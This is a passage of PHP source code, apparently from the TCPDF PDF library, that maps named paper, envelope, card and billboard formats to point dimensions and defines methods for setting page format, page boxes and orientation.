1009.134); break;} case 'A4_LONG' : {$pf = array( 595.276, 986.457); break;} case 'F4' : {$pf = array( 595.276, 935.433); break;} case 'SO_B5_EXTRA': {$pf = array( 572.598, 782.362); break;} case 'A5_EXTRA' : {$pf = array( 490.394, 666.142); break;} // ANSI Series case 'ANSI_E': {$pf = array( 2448.000, 3168.000); break;} case 'ANSI_D': {$pf = array( 1584.000, 2448.000); break;} case 'ANSI_C': {$pf = array( 1224.000, 1584.000); break;} case 'ANSI_B': {$pf = array( 792.000, 1224.000); break;} case 'ANSI_A': {$pf = array( 612.000, 792.000); break;} // Traditional 'Loose' North American Paper Sizes case 'USLEDGER': case 'LEDGER' : {$pf = array( 1224.000, 792.000); break;} case 'ORGANIZERK': case 'BIBLE': case 'USTABLOID': case 'TABLOID': {$pf = array( 792.000, 1224.000); break;} case 'ORGANIZERM': case 'USLETTER': case 'LETTER' : {$pf = array( 612.000, 792.000); break;} case 'USLEGAL': case 'LEGAL' : {$pf = array( 612.000, 1008.000); break;} case 'GOVERNMENTLETTER': case 'GLETTER': {$pf = array( 576.000, 756.000); break;} case 'JUNIORLEGAL': case 'JLEGAL' : {$pf = array( 576.000, 360.000); break;} // Other North American Paper Sizes case 'QUADDEMY': {$pf = array( 2520.000, 3240.000); break;} case 'SUPER_B': {$pf = array( 936.000, 1368.000); break;} case 'QUARTO': {$pf = array( 648.000, 792.000); break;} case 'GOVERNMENTLEGAL': case 'FOLIO': {$pf = array( 612.000, 936.000); break;} case 'MONARCH': case 'EXECUTIVE': {$pf = array( 522.000, 756.000); break;} case 'ORGANIZERL': case 'STATEMENT': case 'MEMO': {$pf = array( 396.000, 612.000); break;} case 'FOOLSCAP': {$pf = array( 595.440, 936.000); break;} case 'COMPACT': {$pf = array( 306.000, 486.000); break;} case 'ORGANIZERJ': {$pf = array( 198.000, 360.000); break;} // Canadian standard CAN 2-9.60M case 'P1': {$pf = array( 1587.402, 2437.795); break;} case 'P2': {$pf = array( 1218.898, 1587.402); break;} case 'P3': {$pf = array( 793.701, 1218.898); break;} case 'P4': {$pf = array( 609.449, 793.701); break;} case 'P5': {$pf = array( 396.850, 609.449); break;} case 'P6': {$pf = array( 303.307, 396.850); break;} // North American Architectural Sizes case 'ARCH_E' : {$pf = array( 2592.000, 3456.000); break;} case 'ARCH_E1': {$pf = array( 2160.000, 3024.000); break;} case 'ARCH_D' : {$pf = array( 1728.000, 2592.000); break;} case 'BROADSHEET': case 'ARCH_C' : {$pf = array( 1296.000, 1728.000); break;} case 'ARCH_B' : {$pf = array( 864.000, 1296.000); break;} case 'ARCH_A' : {$pf = array( 648.000, 864.000); break;} // --- North American Envelope Sizes --- // - Announcement Envelopes case 'ANNENV_A2' : {$pf = array( 314.640, 414.000); break;} case 'ANNENV_A6' : {$pf = array( 342.000, 468.000); break;} case 'ANNENV_A7' : {$pf = array( 378.000, 522.000); break;} case 'ANNENV_A8' : {$pf = array( 396.000, 584.640); break;} case 'ANNENV_A10' : {$pf = array( 450.000, 692.640); break;} case 'ANNENV_SLIM': {$pf = array( 278.640, 638.640); break;} // - Commercial Envelopes case 'COMMENV_N6_1/4': {$pf = array( 252.000, 432.000); break;} case 'COMMENV_N6_3/4': {$pf = array( 260.640, 468.000); break;} case 'COMMENV_N8' : {$pf = array( 278.640, 540.000); break;} case 'COMMENV_N9' : {$pf = array( 278.640, 638.640); break;} case 'COMMENV_N10' : {$pf = array( 296.640, 684.000); break;} case 'COMMENV_N11' : {$pf = array( 324.000, 746.640); break;} case 'COMMENV_N12' : {$pf = array( 342.000, 792.000); break;} case 'COMMENV_N14' : {$pf = array( 360.000, 828.000); break;} // - Catalogue Envelopes case 'CATENV_N1' : {$pf = array( 432.000, 648.000); break;} case 'CATENV_N1_3/4' : {$pf = array( 468.000, 684.000); break;} case 'CATENV_N2' : {$pf = array( 468.000, 720.000); break;} case 'CATENV_N3' : {$pf = array( 504.000, 720.000); break;} case 'CATENV_N6' : {$pf = array( 540.000, 756.000); break;} case 'CATENV_N7' : {$pf = array( 576.000, 792.000); break;} case 'CATENV_N8' : {$pf = array( 594.000, 810.000); break;} case 'CATENV_N9_1/2' : {$pf = array( 612.000, 756.000); break;} case 'CATENV_N9_3/4' : {$pf = array( 630.000, 810.000); break;} case 'CATENV_N10_1/2': {$pf = array( 648.000, 864.000); break;} case 'CATENV_N12_1/2': {$pf = array( 684.000, 900.000); break;} case 'CATENV_N13_1/2': {$pf = array( 720.000, 936.000); break;} case 'CATENV_N14_1/4': {$pf = array( 810.000, 882.000); break;} case 'CATENV_N14_1/2': {$pf = array( 828.000, 1044.000); break;} // Japanese (JIS P 0138-61) Standard B-Series case 'JIS_B0' : {$pf = array( 2919.685, 4127.244); break;} case 'JIS_B1' : {$pf = array( 2063.622, 2919.685); break;} case 'JIS_B2' : {$pf = array( 1459.843, 2063.622); break;} case 'JIS_B3' : {$pf = array( 1031.811, 1459.843); break;} case 'JIS_B4' : {$pf = array( 728.504, 1031.811); break;} case 'JIS_B5' : {$pf = array( 515.906, 728.504); break;} case 'JIS_B6' : {$pf = array( 362.835, 515.906); break;} case 'JIS_B7' : {$pf = array( 257.953, 362.835); break;} case 'JIS_B8' : {$pf = array( 181.417, 257.953); break;} case 'JIS_B9' : {$pf = array( 127.559, 181.417); break;} case 'JIS_B10': {$pf = array( 90.709, 127.559); break;} case 'JIS_B11': {$pf = array( 62.362, 90.709); break;} case 'JIS_B12': {$pf = array( 45.354, 62.362); break;} // PA Series case 'PA0' : {$pf = array( 2381.102, 3174.803,); break;} case 'PA1' : {$pf = array( 1587.402, 2381.102); break;} case 'PA2' : {$pf = array( 1190.551, 1587.402); break;} case 'PA3' : {$pf = array( 793.701, 1190.551); break;} case 'PA4' : {$pf = array( 595.276, 793.701); break;} case 'PA5' : {$pf = array( 396.850, 595.276); break;} case 'PA6' : {$pf = array( 297.638, 396.850); break;} case 'PA7' : {$pf = array( 198.425, 297.638); break;} case 'PA8' : {$pf = array( 147.402, 198.425); break;} case 'PA9' : {$pf = array( 99.213, 147.402); break;} case 'PA10': {$pf = array( 73.701, 99.213); break;} // Standard Photographic Print Sizes case 'PASSPORT_PHOTO': {$pf = array( 99.213, 127.559); break;} case 'E' : {$pf = array( 233.858, 340.157); break;} case 'L': case '3R' : {$pf = array( 252.283, 360.000); break;} case 'KG': case '4R' : {$pf = array( 289.134, 430.866); break;} case '4D' : {$pf = array( 340.157, 430.866); break;} case '2L': case '5R' : {$pf = array( 360.000, 504.567); break;} case '8P': case '6R' : {$pf = array( 430.866, 575.433); break;} case '6P': case '8R' : {$pf = array( 575.433, 720.000); break;} case '6PW': case 'S8R' : {$pf = array( 575.433, 864.567); break;} case '4P': case '10R' : {$pf = array( 720.000, 864.567); break;} case '4PW': case 'S10R': {$pf = array( 720.000, 1080.000); break;} case '11R' : {$pf = array( 790.866, 1009.134); break;} case 'S11R': {$pf = array( 790.866, 1224.567); break;} case '12R' : {$pf = array( 864.567, 1080.000); break;} case 'S12R': {$pf = array( 864.567, 1292.598); break;} // Common Newspaper Sizes case 'NEWSPAPER_BROADSHEET': {$pf = array( 2125.984, 1700.787); break;} case 'NEWSPAPER_BERLINER' : {$pf = array( 1332.283, 892.913); break;} case 'NEWSPAPER_TABLOID': case 'NEWSPAPER_COMPACT' : {$pf = array( 1218.898, 793.701); break;} // Business Cards case 'CREDIT_CARD': case 'BUSINESS_CARD': case 'BUSINESS_CARD_ISO7810': {$pf = array( 153.014, 242.646); break;} case 'BUSINESS_CARD_ISO216' : {$pf = array( 147.402, 209.764); break;} case 'BUSINESS_CARD_IT': case 'BUSINESS_CARD_UK': case 'BUSINESS_CARD_FR': case 'BUSINESS_CARD_DE': case 'BUSINESS_CARD_ES' : {$pf = array( 155.906, 240.945); break;} case 'BUSINESS_CARD_CA': case 'BUSINESS_CARD_US' : {$pf = array( 144.567, 252.283); break;} case 'BUSINESS_CARD_JP' : {$pf = array( 155.906, 257.953); break;} case 'BUSINESS_CARD_HK' : {$pf = array( 153.071, 255.118); break;} case 'BUSINESS_CARD_AU': case 'BUSINESS_CARD_DK': case 'BUSINESS_CARD_SE' : {$pf = array( 155.906, 255.118); break;} case 'BUSINESS_CARD_RU': case 'BUSINESS_CARD_CZ': case 'BUSINESS_CARD_FI': case 'BUSINESS_CARD_HU': case 'BUSINESS_CARD_IL' : {$pf = array( 141.732, 255.118); break;} // Billboards case '4SHEET' : {$pf = array( 2880.000, 4320.000); break;} case '6SHEET' : {$pf = array( 3401.575, 5102.362); break;} case '12SHEET': {$pf = array( 8640.000, 4320.000); break;} case '16SHEET': {$pf = array( 5760.000, 8640.000); break;} case '32SHEET': {$pf = array(11520.000, 8640.000); break;} case '48SHEET': {$pf = array(17280.000, 8640.000); break;} case '64SHEET': {$pf = array(23040.000, 8640.000); break;} case '96SHEET': {$pf = array(34560.000, 8640.000); break;} // Old European Sizes // - Old Imperial English Sizes case 'EN_EMPEROR' : {$pf = array( 3456.000, 5184.000); break;} case 'EN_ANTIQUARIAN' : {$pf = array( 2232.000, 3816.000); break;} case 'EN_GRAND_EAGLE' : {$pf = array( 2070.000, 3024.000); break;} case 'EN_DOUBLE_ELEPHANT' : {$pf = array( 1926.000, 2880.000); break;} case 'EN_ATLAS' : {$pf = array( 1872.000, 2448.000); break;} case 'EN_COLOMBIER' : {$pf = array( 1692.000, 2484.000); break;} case 'EN_ELEPHANT' : {$pf = array( 1656.000, 2016.000); break;} case 'EN_DOUBLE_DEMY' : {$pf = array( 1620.000, 2556.000); break;} case 'EN_IMPERIAL' : {$pf = array( 1584.000, 2160.000); break;} case 'EN_PRINCESS' : {$pf = array( 1548.000, 2016.000); break;} case 'EN_CARTRIDGE' : {$pf = array( 1512.000, 1872.000); break;} case 'EN_DOUBLE_LARGE_POST': {$pf = array( 1512.000, 2376.000); break;} case 'EN_ROYAL' : {$pf = array( 1440.000, 1800.000); break;} case 'EN_SHEET': case 'EN_HALF_POST' : {$pf = array( 1404.000, 1692.000); break;} case 'EN_SUPER_ROYAL' : {$pf = array( 1368.000, 1944.000); break;} case 'EN_DOUBLE_POST' : {$pf = array( 1368.000, 2196.000); break;} case 'EN_MEDIUM' : {$pf = array( 1260.000, 1656.000); break;} case 'EN_DEMY' : {$pf = array( 1260.000, 1620.000); break;} case 'EN_LARGE_POST' : {$pf = array( 1188.000, 1512.000); break;} case 'EN_COPY_DRAUGHT' : {$pf = array( 1152.000, 1440.000); break;} case 'EN_POST' : {$pf = array( 1116.000, 1386.000); break;} case 'EN_CROWN' : {$pf = array( 1080.000, 1440.000); break;} case 'EN_PINCHED_POST' : {$pf = array( 1062.000, 1332.000); break;} case 'EN_BRIEF' : {$pf = array( 972.000, 1152.000); break;} case 'EN_FOOLSCAP' : {$pf = array( 972.000, 1224.000); break;} case 'EN_SMALL_FOOLSCAP' : {$pf = array( 954.000, 1188.000); break;} case 'EN_POTT' : {$pf = array( 900.000, 1080.000); break;} // - Old Imperial Belgian Sizes case 'BE_GRAND_AIGLE' : {$pf = array( 1984.252, 2948.031); break;} case 'BE_COLOMBIER' : {$pf = array( 1757.480, 2409.449); break;} case 'BE_DOUBLE_CARRE': {$pf = array( 1757.480, 2607.874); break;} case 'BE_ELEPHANT' : {$pf = array( 1746.142, 2182.677); break;} case 'BE_PETIT_AIGLE' : {$pf = array( 1700.787, 2381.102); break;} case 'BE_GRAND_JESUS' : {$pf = array( 1559.055, 2069.291); break;} case 'BE_JESUS' : {$pf = array( 1530.709, 2069.291); break;} case 'BE_RAISIN' : {$pf = array( 1417.323, 1842.520); break;} case 'BE_GRAND_MEDIAN': {$pf = array( 1303.937, 1714.961); break;} case 'BE_DOUBLE_POSTE': {$pf = array( 1233.071, 1601.575); break;} case 'BE_COQUILLE' : {$pf = array( 1218.898, 1587.402); break;} case 'BE_PETIT_MEDIAN': {$pf = array( 1176.378, 1502.362); break;} case 'BE_RUCHE' : {$pf = array( 1020.472, 1303.937); break;} case 'BE_PROPATRIA' : {$pf = array( 977.953, 1218.898); break;} case 'BE_LYS' : {$pf = array( 898.583, 1125.354); break;} case 'BE_POT' : {$pf = array( 870.236, 1088.504); break;} case 'BE_ROSETTE' : {$pf = array( 765.354, 983.622); break;} // - Old Imperial French Sizes case 'FR_UNIVERS' : {$pf = array( 2834.646, 3685.039); break;} case 'FR_DOUBLE_COLOMBIER' : {$pf = array( 2551.181, 3571.654); break;} case 'FR_GRANDE_MONDE' : {$pf = array( 2551.181, 3571.654); break;} case 'FR_DOUBLE_SOLEIL' : {$pf = array( 2267.717, 3401.575); break;} case 'FR_DOUBLE_JESUS' : {$pf = array( 2154.331, 3174.803); break;} case 'FR_GRAND_AIGLE' : {$pf = array( 2125.984, 3004.724); break;} case 'FR_PETIT_AIGLE' : {$pf = array( 1984.252, 2664.567); break;} case 'FR_DOUBLE_RAISIN' : {$pf = array( 1842.520, 2834.646); break;} case 'FR_JOURNAL' : {$pf = array( 1842.520, 2664.567); break;} case 'FR_COLOMBIER_AFFICHE': {$pf = array( 1785.827, 2551.181); break;} case 'FR_DOUBLE_CAVALIER' : {$pf = array( 1757.480, 2607.874); break;} case 'FR_CLOCHE' : {$pf = array( 1700.787, 2267.717); break;} case 'FR_SOLEIL' : {$pf = array( 1700.787, 2267.717); break;} case 'FR_DOUBLE_CARRE' : {$pf = array( 1587.402, 2551.181); break;} case 'FR_DOUBLE_COQUILLE' : {$pf = array( 1587.402, 2494.488); break;} case 'FR_JESUS' : {$pf = array( 1587.402, 2154.331); break;} case 'FR_RAISIN' : {$pf = array( 1417.323, 1842.520); break;} case 'FR_CAVALIER' : {$pf = array( 1303.937, 1757.480); break;} case 'FR_DOUBLE_COURONNE' : {$pf = array( 1303.937, 2040.945); break;} case 'FR_CARRE' : {$pf = array( 1275.591, 1587.402); break;} case 'FR_COQUILLE' : {$pf = array( 1247.244, 1587.402); break;} case 'FR_DOUBLE_TELLIERE' : {$pf = array( 1247.244, 1927.559); break;} case 'FR_DOUBLE_CLOCHE' : {$pf = array( 1133.858, 1700.787); break;} case 'FR_DOUBLE_POT' : {$pf = array( 1133.858, 1757.480); break;} case 'FR_ECU' : {$pf = array( 1133.858, 1474.016); break;} case 'FR_COURONNE' : {$pf = array( 1020.472, 1303.937); break;} case 'FR_TELLIERE' : {$pf = array( 963.780, 1247.244); break;} case 'FR_POT' : {$pf = array( 878.740, 1133.858); break;} // DEFAULT ISO A4 default: {$pf = array( 595.276, 841.890); break;} } return $pf; } /** * Change the format of the current page * @param $format (mixed) The format used for pages. It can be either: one of the string values specified at getPageSizeFromFormat() documentation or an array of two numners (width, height) or an array containing the following measures and options:<ul> * <li>['format'] = page format name (one of the above);</li> * <li>['Rotate'] : The number of degrees by which the page shall be rotated clockwise when displayed or printed. The value shall be a multiple of 90.</li> * <li>['PZ'] : The page's preferred zoom (magnification) factor.</li> * <li>['MediaBox'] : the boundaries of the physical medium on which the page shall be displayed or printed:</li> * <li>['MediaBox']['llx'] : lower-left x coordinate in points</li> * <li>['MediaBox']['lly'] : lower-left y coordinate in points</li> * <li>['MediaBox']['urx'] : upper-right x coordinate in points</li> * <li>['MediaBox']['ury'] : upper-right y coordinate in points</li> * <li>['CropBox'] : the visible region of default user space:</li> * <li>['CropBox']['llx'] : lower-left x coordinate in points</li> * <li>['CropBox']['lly'] : lower-left y coordinate in points</li> * <li>['CropBox']['urx'] : upper-right x coordinate in points</li> * <li>['CropBox']['ury'] : upper-right y coordinate in points</li> * <li>['BleedBox'] : the region to which the contents of the page shall be clipped when output in a production environment:</li> * <li>['BleedBox']['llx'] : lower-left x coordinate in points</li> * <li>['BleedBox']['lly'] : lower-left y coordinate in points</li> * <li>['BleedBox']['urx'] : upper-right x coordinate in points</li> * <li>['BleedBox']['ury'] : upper-right y coordinate in points</li> * <li>['TrimBox'] : the intended dimensions of the finished page after trimming:</li> * <li>['TrimBox']['llx'] : lower-left x coordinate in points</li> * <li>['TrimBox']['lly'] : lower-left y coordinate in points</li> * <li>['TrimBox']['urx'] : upper-right x coordinate in points</li> * <li>['TrimBox']['ury'] : upper-right y coordinate in points</li> * <li>['ArtBox'] : the extent of the page's meaningful content:</li> * <li>['ArtBox']['llx'] : lower-left x coordinate in points</li> * <li>['ArtBox']['lly'] : lower-left y coordinate in points</li> * <li>['ArtBox']['urx'] : upper-right x coordinate in points</li> * <li>['ArtBox']['ury'] : upper-right y coordinate in points</li> * <li>['BoxColorInfo'] :specify the colours and other visual characteristics that should be used in displaying guidelines on the screen for each of the possible page boundaries other than the MediaBox:</li> * <li>['BoxColorInfo'][BOXTYPE]['C'] : an array of three numbers in the range 0-255, representing the components in the DeviceRGB colour space.</li> * <li>['BoxColorInfo'][BOXTYPE]['W'] : the guideline width in default user units</li> * <li>['BoxColorInfo'][BOXTYPE]['S'] : the guideline style: S = Solid; D = Dashed</li> * <li>['BoxColorInfo'][BOXTYPE]['D'] : dash array defining a pattern of dashes and gaps to be used in drawing dashed guidelines</li> * <li>['trans'] : the style and duration of the visual transition to use when moving from another page to the given page during a presentation</li> * <li>['trans']['Dur'] : The page's display duration (also called its advance timing): the maximum length of time, in seconds, that the page shall be displayed during presentations before the viewer application shall automatically advance to the next page.</li> * <li>['trans']['S'] : transition style : Split, Blinds, Box, Wipe, Dissolve, Glitter, R, Fly, Push, Cover, Uncover, Fade</li> * <li>['trans']['D'] : The duration of the transition effect, in seconds.</li> * <li>['trans']['Dm'] : (Split and Blinds transition styles only) The dimension in which the specified transition effect shall occur: H = Horizontal, V = Vertical. Default value: H.</li> * <li>['trans']['M'] : (Split, Box and Fly transition styles only) The direction of motion for the specified transition effect: I = Inward from the edges of the page, O = Outward from the center of the pageDefault value: I.</li> * <li>['trans']['Di'] : (Wipe, Glitter, Fly, Cover, Uncover and Push transition styles only) The direction in which the specified transition effect shall moves, expressed in degrees counterclockwise starting from a left-to-right direction. If the value is a number, it shall be one of: 0 = Left to right, 90 = Bottom to top (Wipe only), 180 = Right to left (Wipe only), 270 = Top to bottom, 315 = Top-left to bottom-right (Glitter only). If the value is a name, it shall be None, which is relevant only for the Fly transition when the value of SS is not 1.0. Default value: 0.</li> * <li>['trans']['SS'] : (Fly transition style only) The starting or ending scale at which the changes shall be drawn. If M specifies an inward transition, the scale of the changes drawn shall progress from SS to 1.0 over the course of the transition. If M specifies an outward transition, the scale of the changes drawn shall progress from 1.0 to SS over the course of the transition. Default: 1.0.</li> * <li>['trans']['B'] : (Fly transition style only) If true, the area that shall be flown in is rectangular and opaque. Default: false.</li> * </ul> * @param $orientation (string) page orientation. Possible values are (case insensitive):<ul> * <li>P or Portrait (default)</li> * <li>L or Landscape</li> * <li>'' (empty string) for automatic orientation</li> * </ul> * @protected * @since 3.0.015 (2008-06-06) * @see getPageSizeFromFormat() */ protected function setPageFormat($format, $orientation='P') { if (!empty($format) AND isset($this->pagedim[$this->page])) { // remove inherited values unset($this->pagedim[$this->page]); } if (is_string($format)) { // get page measures from format name $pf = $this->getPageSizeFromFormat($format); $this->fwPt = $pf[0]; $this->fhPt = $pf[1]; } else { // the boundaries of the physical medium on which the page shall be displayed or printed if (isset($format['MediaBox'])) { $this->setPageBoxes($this->page, 'MediaBox', $format['MediaBox']['llx'], $format['MediaBox']['lly'], $format['MediaBox']['urx'], $format['MediaBox']['ury'], false); $this->fwPt = (($format['MediaBox']['urx'] - $format['MediaBox']['llx']) * $this->k); $this->fhPt = (($format['MediaBox']['ury'] - $format['MediaBox']['lly']) * $this->k); } else { if (isset($format[0]) AND is_numeric($format[0]) AND isset($format[1]) AND is_numeric($format[1])) { $pf = array(($format[0] * $this->k), ($format[1] * $this->k)); } else { if (!isset($format['format'])) { // default value $format['format'] = 'A4'; } $pf = $this->getPageSizeFromFormat($format['format']); } $this->fwPt = $pf[0]; $this->fhPt = $pf[1]; $this->setPageBoxes($this->page, 'MediaBox', 0, 0, $this->fwPt, $this->fhPt, true); } // the visible region of default user space if (isset($format['CropBox'])) { $this->setPageBoxes($this->page, 'CropBox', $format['CropBox']['llx'], $format['CropBox']['lly'], $format['CropBox']['urx'], $format['CropBox']['ury'], false); } // the region to which the contents of the page shall be clipped when output in a production environment if (isset($format['BleedBox'])) { $this->setPageBoxes($this->page, 'BleedBox', $format['BleedBox']['llx'], $format['BleedBox']['lly'], $format['BleedBox']['urx'], $format['BleedBox']['ury'], false); } // the intended dimensions of the finished page after trimming if (isset($format['TrimBox'])) { $this->setPageBoxes($this->page, 'TrimBox', $format['TrimBox']['llx'], $format['TrimBox']['lly'], $format['TrimBox']['urx'], $format['TrimBox']['ury'], false); } // the page's meaningful content (including potential white space) if (isset($format['ArtBox'])) { $this->setPageBoxes($this->page, 'ArtBox', $format['ArtBox']['llx'], $format['ArtBox']['lly'], $format['ArtBox']['urx'], $format['ArtBox']['ury'], false); } // specify the colours and other visual characteristics that should be used in displaying guidelines on the screen for the various page boundaries if (isset($format['BoxColorInfo'])) { $this->pagedim[$this->page]['BoxColorInfo'] = $format['BoxColorInfo']; } if (isset($format['Rotate']) AND (($format['Rotate'] % 90) == 0)) { // The number of degrees by which the page shall be rotated clockwise when displayed or printed. The value shall be a multiple of 90. $this->pagedim[$this->page]['Rotate'] = intval($format['Rotate']); } if (isset($format['PZ'])) { // The page's preferred zoom (magnification) factor $this->pagedim[$this->page]['PZ'] = floatval($format['PZ']); } if (isset($format['trans'])) { // The style and duration of the visual transition to use when moving from another page to the given page during a presentation if (isset($format['trans']['Dur'])) { // The page's display duration $this->pagedim[$this->page]['trans']['Dur'] = floatval($format['trans']['Dur']); } $stansition_styles = array('Split', 'Blinds', 'Box', 'Wipe', 'Dissolve', 'Glitter', 'R', 'Fly', 'Push', 'Cover', 'Uncover', 'Fade'); if (isset($format['trans']['S']) AND in_array($format['trans']['S'], $stansition_styles)) { // The transition style that shall be used when moving to this page from another during a presentation $this->pagedim[$this->page]['trans']['S'] = $format['trans']['S']; $valid_effect = array('Split', 'Blinds'); $valid_vals = array('H', 'V'); if (isset($format['trans']['Dm']) AND in_array($format['trans']['S'], $valid_effect) AND in_array($format['trans']['Dm'], $valid_vals)) { $this->pagedim[$this->page]['trans']['Dm'] = $format['trans']['Dm']; } $valid_effect = array('Split', 'Box', 'Fly'); $valid_vals = array('I', 'O'); if (isset($format['trans']['M']) AND in_array($format['trans']['S'], $valid_effect) AND in_array($format['trans']['M'], $valid_vals)) { $this->pagedim[$this->page]['trans']['M'] = $format['trans']['M']; } $valid_effect = array('Wipe', 'Glitter', 'Fly', 'Cover', 'Uncover', 'Push'); if (isset($format['trans']['Di']) AND in_array($format['trans']['S'], $valid_effect)) { if (((($format['trans']['Di'] == 90) OR ($format['trans']['Di'] == 180)) AND ($format['trans']['S'] == 'Wipe')) OR (($format['trans']['Di'] == 315) AND ($format['trans']['S'] == 'Glitter')) OR (($format['trans']['Di'] == 0) OR ($format['trans']['Di'] == 270))) { $this->pagedim[$this->page]['trans']['Di'] = intval($format['trans']['Di']); } } if (isset($format['trans']['SS']) AND ($format['trans']['S'] == 'Fly')) { $this->pagedim[$this->page]['trans']['SS'] = floatval($format['trans']['SS']); } if (isset($format['trans']['B']) AND ($format['trans']['B'] === true) AND ($format['trans']['S'] == 'Fly')) { $this->pagedim[$this->page]['trans']['B'] = 'true'; } } else { $this->pagedim[$this->page]['trans']['S'] = 'R'; } if (isset($format['trans']['D'])) { // The duration of the transition effect, in seconds $this->pagedim[$this->page]['trans']['D'] = floatval($format['trans']['D']); } else { $this->pagedim[$this->page]['trans']['D'] = 1; } } } $this->setPageOrientation($orientation); } /** * Set page boundaries. * @param $page (int) page number * @param $type (string) valid values are: <ul><li>'MediaBox' : the boundaries of the physical medium on which the page shall be displayed or printed;</li><li>'CropBox' : the visible region of default user space;</li><li>'BleedBox' : the region to which the contents of the page shall be clipped when output in a production environment;</li><li>'TrimBox' : the intended dimensions of the finished page after trimming;</li><li>'ArtBox' : the page's meaningful content (including potential white space).</li></ul> * @param $llx (float) lower-left x coordinate in user units * @param $lly (float) lower-left y coordinate in user units * @param $urx (float) upper-right x coordinate in user units * @param $ury (float) upper-right y coordinate in user units * @param $points (boolean) if true uses user units as unit of measure, otherwise uses PDF points * @public * @since 5.0.010 (2010-05-17) */ public function setPageBoxes($page, $type, $llx, $lly, $urx, $ury, $points=false) { if (!isset($this->pagedim[$page])) { // initialize array $this->pagedim[$page] = array(); } $pageboxes = array('MediaBox', 'CropBox', 'BleedBox', 'TrimBox', 'ArtBox'); if (!in_array($type, $pageboxes)) { return; } if ($points) { $k = 1; } else { $k = $this->k; } $this->pagedim[$page][$type]['llx'] = ($llx * $k); $this->pagedim[$page][$type]['lly'] = ($lly * $k); $this->pagedim[$page][$type]['urx'] = ($urx * $k); $this->pagedim[$page][$type]['ury'] = ($ury * $k); } /** * Swap X and Y coordinates of page boxes (change page boxes orientation). * @param $page (int) page number * @protected * @since 5.0.010 (2010-05-17) */ protected function swapPageBoxCoordinates($page) { $pageboxes = array('MediaBox', 'CropBox', 'BleedBox', 'TrimBox', 'ArtBox'); foreach ($pageboxes as $type) { // swap X and Y coordinates if (isset($this->pagedim[$page][$type])) { $tmp = $this->pagedim[$page][$type]['llx']; $this->pagedim[$page][$type]['llx'] = $this->pagedim[$page][$type]['lly']; $this->pagedim[$page][$type]['lly'] = $tmp; $tmp = $this->pagedim[$page][$type]['urx']; $this->pagedim[$page][$type]['urx'] = $this->pagedim[$page][$type]['ury']; $this->pagedim[$page][$type]['ury'] = $tmp; } } } /** * Set page orientation. * @param $orientation (string) page orientation. Possible values are (case insensitive):<ul><li>P or Portrait (default)</li><li>L or Landscape</li><li>'' (empty string) for automatic orientation</li></ul> * @param $autopagebreak (boolean) Boolean indicating if auto-page-break mode should be on or off. * @param $bottommargin (float) bottom margin of the page. * @public * @since 3.0.015 (2008-06-06) */ public function setPageOrientation($orientation, $autopagebreak='', $bottommargin='') { if (!isset($this->pagedim[$this->page]['MediaBox'])) { // the boundaries of the physical medium on which the page shall be displayed or printed $this->setPageBoxes($this->page, 'MediaBox', 0, 0, $this->fwPt, $this->fhPt, true); } if (!isset($this->pagedim[$this->page]['CropBox'])) { // the visible region of default user space $this->setPageBoxes($this->page, 'CropBox', $this->pagedim[$this->page]['MediaBox']['llx'], $this->pagedim[$this->page]['MediaBox']['lly'], $this->pagedim[$this->page]['MediaBox']['urx'], $this->pagedim[$this->page]['MediaBox']['ury'], true); } if (!isset($this->pagedim[$this->page]['BleedBox'])) { // the region to which the contents of the page shall be clipped when output in a production environment $this->setPageBoxes($this->page, 'BleedBox', $this->pagedim[$this->page]['CropBox']['llx'], $this->pagedim[$this->page]['CropBox']['lly'], $this->pagedim[$this->page]['CropBox']['urx'], $this->pagedim[$this->page]['CropBox']['ury'], true); } if (!isset($this->pagedim[$this->page]['TrimBox'])) { // the intended dimensions of the finished page after trimming $this->setPageBoxes($this->page, 'TrimBox', $this->pagedim[$this->page]['CropBox']['llx'], $this->pagedim[$this->page]['CropBox']['lly'], $this->pagedim[$this->page]['CropBox']['urx'], $this->pagedim[$this->page]['CropBox']['ury'], true); } if (!isset($this->pagedim[$this->page]['ArtBox'])) { // the page's meaningful content (including potential white space) $this->setPageBoxes($this->page, 'ArtBox', $this->pagedim[$this->page]['CropBox']['llx'], $this->pagedim[$this->page]['CropBox']['lly'], $this->pagedim[$this->page]['CropBox']['urx'], $this->pagedim[$this->page]['CropBox']['ury'], true); } if (!isset($this->pagedim[$this->page]['Rotate'])) { // The number of degrees by which the page shall be rotated clockwise when displayed or printed. The value shall be a multiple of 90. $this->pagedim[$this->page]['Rotate'] = 0; } if (!isset($this->pagedim[$this->page]['PZ'])) { // The page's preferred zoom (magnification) factor $this->pagedim[$this->page]['PZ'] = 1; } if ($this->fwPt > $this->fhPt) { // landscape $default_orientation = 'L'; } else { // portrait $default_orientation = 'P'; } $valid_orientations = array('P', 'L'); if (empty($orientation)) { $orientation = $default_orientation; } else { $orientation = strtoupper($orientation{0}); } if (in_array($orientation, $valid_orientations) AND ($orientation != $default_orientation)) { $this->CurOrientation = $orientation; $this->wPt = $this->fhPt; $this->hPt = $this->fwPt; } else { $this->CurOrientation = $default_orientation; $this->wPt = $this->fwPt; $this->hPt = $this->fhPt; } if ((abs($this->pagedim[$this->page]['MediaBox']['urx'] - $this->hPt) < $this->feps) AND (abs($this->pagedim[$this->page]['MediaBox']['ury'] - $this->wPt) < $this->feps)){ // swap X and Y coordinates (change page orientation) $this->swapPageBoxCoordinates($this->page); } $this->w = ($this->wPt / $this->k); $this->h = ($this->hPt / $this->k); if ($this->empty_string($autopagebreak)) { if (isset($this->AutoPageBreak)) { $autopagebreak = $this->AutoPageBreak; } else { $autopagebreak = true; } } if ($this->empty_string($bottommargin)) { if (isset($this->bMargin)) { $bottommargin = $this->bMargin; } else { // default value = 2 cm $bottommargin = 2 * 28.35 / $this->k; } } $this->SetAutoPageBreak($autopagebreak, $bottommargin); // store page dimensions $this->pagedim[$this->page]['w'] = $this->wPt; $this->pagedim[$this->page]['h'] = $this->hPt; $this->pagedim[$this->page]['wk'] = $this->w; $this->pagedim[$this->page]['hk'] = $this->h; $this->pagedim[$this->page]['tm'] = $this->tMargin; $this->pagedim[$this->page]['bm'] = $bottommargin; $this->pagedim[$this->page]['lm'] = $this->lMargin; $this->pagedim[$this->page]['rm'] = $this->rMargin; $this->pagedim[$this->page]['pb'] = $autopagebreak; $this->pagedim[$this->page]['or'] = $this->CurOrientation; $this->pagedim[$this->page]['olm'] = $this->original_lMargin; $this->pagedim[$this->page]['orm'] = $this->original_rMargin; } /** * Set regular expression to detect withespaces or word separators. * The pattern delimiter must be the forward-slash character "/". * Some example patterns are: * <pre> * Non-Unicode or missing PCRE unicode support: "/[^\S\xa0]/" * Unicode and PCRE unicode support: 